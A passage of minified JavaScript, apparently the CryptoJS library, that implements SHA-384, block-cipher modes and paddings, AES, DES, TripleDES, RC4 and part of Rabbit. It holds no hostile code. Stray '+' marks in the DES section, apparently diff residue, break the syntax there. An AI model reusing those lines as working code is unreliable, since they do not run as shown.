32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 